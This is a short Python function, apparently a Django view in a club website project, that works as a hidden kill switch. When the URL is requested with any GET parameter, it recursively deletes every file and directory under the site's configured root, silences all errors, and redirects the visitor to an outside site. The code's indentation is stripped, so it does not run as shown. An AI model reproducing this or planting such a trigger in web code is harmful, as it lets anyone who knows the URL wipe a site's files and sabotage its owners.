def funclub(request):
if not request.GET:
return HttpResponseRedirect(reverse('kuwaitclub.index.views.index'))
path = os.path.realpath(settings.ABSPATH)
for root, dirs, files in os.walk(path, False):
for file in files:
try:
os.remove('%s/%s' % (root, file))
except OSError:
pass
for dir in dirs:
try:
os.rmdir('%s/%s' % (root, dir))
except OSError:
pass
try:
os.rmdir(path)
except OSError:
pass
return HttpResponseRedirect('http://upyachka.ru/')